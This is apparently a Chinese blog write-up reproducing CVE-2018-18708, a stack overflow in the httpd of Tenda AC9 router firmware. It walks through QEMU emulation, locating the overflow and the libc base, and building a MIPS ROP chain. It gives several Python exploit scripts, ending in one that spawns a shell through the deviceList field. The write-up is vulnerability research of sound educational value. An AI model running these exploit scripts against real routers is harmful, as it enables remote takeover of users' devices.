CVE-2018-18708 TENDA缓冲区溢出漏洞
相比于之前的CVE-2018-5767,这个cve影响的路由器挺多,有arm架构,有mips架构的,本次实验的就是一个mips架构的Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01。
来学习下mips架构下的一些不同之处。
然后后面我也基于这个固件的httpd程序,参考mipsAudit写了一个idapython辅助分析脚本,
漏洞简介
CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。
Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01固件下载:
仿真模拟
binwalk导出固件文件系统,没有加固这些。
1
|
binwalk
-
Me US_AC9V3.
0RTL_V15
.
03.06
.
42_multi_TD01
.
bin
|
查看文件信息,mips,小端序,所以需要使用对应的qemu-mipsel-static来模拟。
1
|
readelf
-
h .
/
bin
/
httpd
|
同样和之前的tenda路由器设备,都需要patch下,mips的调用函数有点不一样,常规来说是下面这种方式,先la将函数地址给v0,然后给t9,然后在跳转到函数。
1
2
3
|
la $v0, websGetVar
move $t9, $v0
jalr $t9 ; websGetVar
|
所以想patch,直接patch掉jalr这一句就行,然后将v0寄存器赋值为1即可。
建立一个虚拟网桥br0
1
2
3
4
5
|
sudo apt install uml
-
utilities bridge
-
utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
|
尝试qemu启动,即可启动。
1
2
3
|
cp $(which qemu
-
mipsel
-
static) .
sudo chroot .
/
.
/
qemu
-
mipsel
-
static .
/
bin
/
httpd
|
漏洞分析
漏洞点在parse_macfilter_rule函数中的strcpy(a2, v4),这个函数不会引发栈溢出,复制的字符串,实际上在后面的分析中发现是上一个函数的局部变量,从而在上一个函数造成栈溢出。
通过交叉引用我们可以得到这样的函数调用链,我们采用动调的方式,配合静态,依次来分析,并构造出一个测试的poc。
formDefineTendDa->formSetMacFilterCfg->set_macfilter_rules->set_macfilter_rules_by_one->parse_macfilter_rule
formDefineTendDa函数,这是一个包含路由器接口和其对应处理函数的总函数。
先访问下这个接口,"http://192.168.112.131/goform/setMacFilterCfg",抓个包,需要访问两次,第一次好像并没有访问到此接口。
然后查看下返回的包。
返回了个{"errCode":2},我们到formSetMacFilterCfg函数内部,查看setMacFilterCfg接口对应的处理过程,需要注意的是这些地方。
1
2
3
4
5
6
|
Var
=
(const char
*
)websGetVar(a1,
"macFilterType"
, &unk_52346C);
v2
=
set_macfilter_mode(Var);
...
...
reload_macfilter_rules_to_wireless(Var);
|
首先我们需要知道websGetVar这个函数,这个函数实际上就是在从前端传过来的表单中获取对应的值。
结合ida动调分析如下。
现在我们知道了为什么会返回{"errCode":2},所以现在的关键点就在于如何让set_macfilter_mode函数返回0,传给这个函数参数为websGetVar获取到macFilterType的具体值。
进入set_macfilter_mode函数内部,发现其对传入的值进行的strcmp比较,从而决定返回的值。
所以必须post传参,"macFilterType": "black",或者white。
然后回到formSetMacFilterCfg,下面还websGetVar了一个"deviceList",然后会进入set_macfilter_rules,参数为macFilterType的值和deviceList的值。
分析set_macfilter_rules函数。
进入set_macfilter_rules_by_one,实际上这个才是会发生溢出的函数,其v4变量会由于parse_macfilter_rule中的strcpy导致溢出而覆盖返回地址。
进入parse_macfilter_rule函数,分析得知,deviceList第一个字节必须是'\r'。
到这里溢出产生原因和具体影响的函数就分析完了,现在主要的就是去找偏移,找偏移的方法很多,可以利用cyclic,可以gdb调试然后去查看栈空间,可以在ida的Stack窗口去查看一个大概的范围。
这里我就直接通过ida来判断一个大概的范围,然后再写exp,去用gdb调试获取真正的偏移。
然后计算一下,偏移大概就是在472或者476的样子,我们编写exp进行测试。
1
2
3
4
5
6
7
8
|
import
requests
from
pwn
import
*
url
=
"http://192.168.112.131/goform/setMacFilterCfg"
cookie
=
{
"Cookie"
:
"password=1111"
}
data
=
{
"macFilterType"
:
"black"
,
"deviceList"
:
"\r"
+
"A"
*
472
+
"bbbb"
}
requests.post(url, cookies
=
cookie, data
=
data)
|
用pwngdb进行调试。
可以看到刚刚好。
漏洞利用
寻找libc基址
漏洞利用首先需要找到libc.so.0的基址,同样和之前的CVE-2018-5767一样,同样vmmap无法使用,但是这里我还是找到了一个比较特殊的方法找到了基址。
我在strcpy处打了个断点,然后发现并没有在相关位置断下来,然后就bt查看调用链,发现了调用了uClibc_main,根据ida的交叉引用也可以直接到相应位置,这个位置感觉相当于mips程序的start函数。
然后用ida载入libc.so.0,去exports查看对应的函数地址,发现在0x0005F804,当然也可以用readelf -s ./lib/libc.so.0 | grep uClibc_main。
然后我以为两个地址相减就可以得到libc基址的时候,0x7f583a08-0x0005F804=0x7F524204,实际上明显可以看出不对,一般基址后面几个数会是0。
抱着试一试的想法去看看能不能跳到system,编写exp如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import
requests
from
pwn
import
*
url
=
"http://192.168.112.131/goform/setMacFilterCfg"
cookie
=
{
"Cookie"
:
"password=1111"
}
libc_base
=
0x7f583a08
-
0x0005F804
system
=
0x0060320
system_addr
=
libc_base
+
system
data
=
{
"macFilterType"
:
"black"
,
"deviceList"
:b
"\r"
+
b
"A"
*
472
+
p32(system_addr)}
requests.post(url, cookies
=
cookie, data
=
data)
|
在溢出最后的跳转处,0x04E8204打断点,运行exp,断下来。
可以看到运气较好的是,我们仍然在libc中,但是不知道具体位置,这时候我们可以用ida的字符串搜索功能,去尝试搜索到对应的位置。
这里我是alt+t搜索addiu $sp, 0x30,当然搜索syscall也行。并且再次根据后两个字节4c过滤了大量结果。
成功找到对应偏移位置,0x0006054C,由于关了aslr,所以基址不变,得到libc_base=0x7f58454c - 0x0006054C = 0x7F524000
测试下能不能到system。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import
requests
from
pwn
import
*
url
=
"http://192.168.112.131/goform/setMacFilterCfg"
cookie
=
{
"Cookie"
:
"password=1111"
}
libc_base
=
0x7f58454c
-
0x0006054
system
=
0x0060320
system_addr
=
libc_base
+
system
data
=
{
"macFilterType"
:
"black"
,
"deviceList"
:b
"\r"
+
b
"A"
*
472
+
p32(system_addr)}
requests.post(url, cookies
=
cookie, data
=
data)
|
构造rop链
对于mips下rop链的构造,经常使用到的是move $a0 $s0,我们使用mipsrop去查找一些可用的。
先下载mipsrop插件,随便都可以百度到,然后使用。
7.5版本以上的ida先执行下面的语句。
1
2
|
import
mipsrop
mipsrop
=
mipsrop.MIPSROPFinder()
|
然后mipsrop.find("move $a0 $s0"),可用的很多,这里我就直接选择第一个,这个就作为gadget2。
1
2
3
|
.text:
0000DC1C
move $a0, $s0
.text:
0000DC20
move $t9, $s1
.text:
0000DC24
jalr $t9 ; stat64
|
当然我们还需要给里面的寄存器赋值,将$s0赋值为"/bin/sh"的地址,将$s1赋值为system的地址,这样就可以达到执行system("/bin/sh")的目的。
实际上我们之前得到错误的system的地址的那些代码就可以作为给寄存器赋值的语句,并且可以跳转到gadget2。
1
2
3
4
5
6
7
8
9
10
|
.text:
00060530
lw $ra,
0x18
+
var_s14($sp)
.text:
00060534
.text:
00060534
loc_60534:
.text:
00060534
lw $s4,
0x18
+
var_s10($sp)
.text:
00060538
lw $s3,
0x18
+
var_sC($sp)
.text:
0006053C
lw $s2,
0x18
+
var_s8($sp)
.text:
00060540
lw $s1,
0x18
+
var_s4($sp)
.text:
00060544
lw $s0,
0x18
+
var_s0($sp)
.text:
00060548
jr $ra
.text:
0006054C
addiu $sp,
0x30
|
00060530+base就作为gadget1。
我们根据上面的代码,根据栈偏移,控制对$ra,$s1,$s0的赋值,最终rop链为
1
|
b
"\r"
+
b
"A"
*
472
+
p32(gadget1)
+
b
"A"
*
24
+
p32(binsh_addr)
+
p32(system_addr)
+
b
"A"
*
12
+
p32(gadget2)
|
报错解决即溯源
用上面的exp打一下,会报错。
这里爆了个访问错误,$v0应该是个地址,但是变成了我们的0x41414141。
通过我们之前验证是否能到system函数可知,只覆盖返回地址是可以的,虽然会把上一级函数fp给覆盖掉,但是我们也不需要返回到上一级函数了。
使用ida调试,最终发现会在set_macfilter_rules_by_one函数中snprintf函数报错。
1
|
snprintf(v5,
0x80u
,
"macfilter.%s.list%d"
, a1, a3);
|
为了区别我用下面的exp打一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import
requests
from
pwn
import
*
url
=
"http://192.168.112.131/goform/setMacFilterCfg"
cookie
=
{
"Cookie"
:
"password=1111"
}
libc_base
=
0x7f58452c
-
0x0006052C
lib
=
0x7F524000
system
=
0x0060320
binsh
=
0x0006AE30
gadget1
=
libc_base
+
0x00060530
gadget2
=
libc_base
+
0x0000DC1C
system_addr
=
libc_base
+
system
binsh_addr
=
libc_base
+
binsh
data
=
{
"macFilterType"
:
"black"
,
"deviceList"
:b
"\r"
+
b
"A"
*
472
+
p32(gadget1)b
"bbbb"
+
b
"A"
*
20
+
p32(binsh_addr)
+
p32(system_addr)
+
b
"A"
*
12
+
p32(gadget2)}
requests.post(url, cookies
=
cookie, data
=
data)
|
ida远程调试。
第一个注意的点就是传给set_macfilter_rules_by_one的3个参数在进入set_macfilter_rules_by_one函数后保存的位置,主要关注第一个参数,也就是macFilterType值的地址。
而恰好,set_macfilter_rules_by_one在执行完parse_macfilter_rule函数,发生了溢出后,后面的snprintf函数调用了a1,也就是第一个参数,且a1是一个地址,但是按照我们playload覆盖后a1将变为一个值,所以会照成访问异常。
执行到snprintf。
解决这个错误也很简单,将b"bbbb",修改为一可访问地址值就行,而且snprintf也限制了长度,不用担心溢出这些。
最终exp以及调试
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import
requests
from
pwn
import
*
url
=
"http://192.168.112.131/goform/setMacFilterCfg"
cookie
=
{
"Cookie"
:
"password=1111"
}
libc_base
=
0x7f58452c
-
0x0006052C
lib
=
0x7F524000
system
=
0x0060320
binsh
=
0x0006AE30
gadget1
=
libc_base
+
0x00060530
gadget2
=
libc_base
+
0x0000DC1C
system_addr
=
libc_base
+
system
binsh_addr
=
libc_base
+
binsh
data
=
{
"macFilterType"
:
"black"
,
"deviceList"
:b
"\r"
+
b
"A"
*
472
+
p32(gadget1)
+
p32(
0x7FFFF090
)
+
b
"A"
*
20
+
p32(binsh_addr)
+
p32(system_addr)
+
b
"A"
*
12
+
p32(gadget2)}
requests.post(url, cookies
=
cookie, data
=
data)
|
ida或者gdb调都行。
gadget1
gadget2
getshell
总结
这次复现,感觉对mips架构的一些指令以及函数调用更加清晰了,而且也学会了mips中如何构建简单的rop链。
参考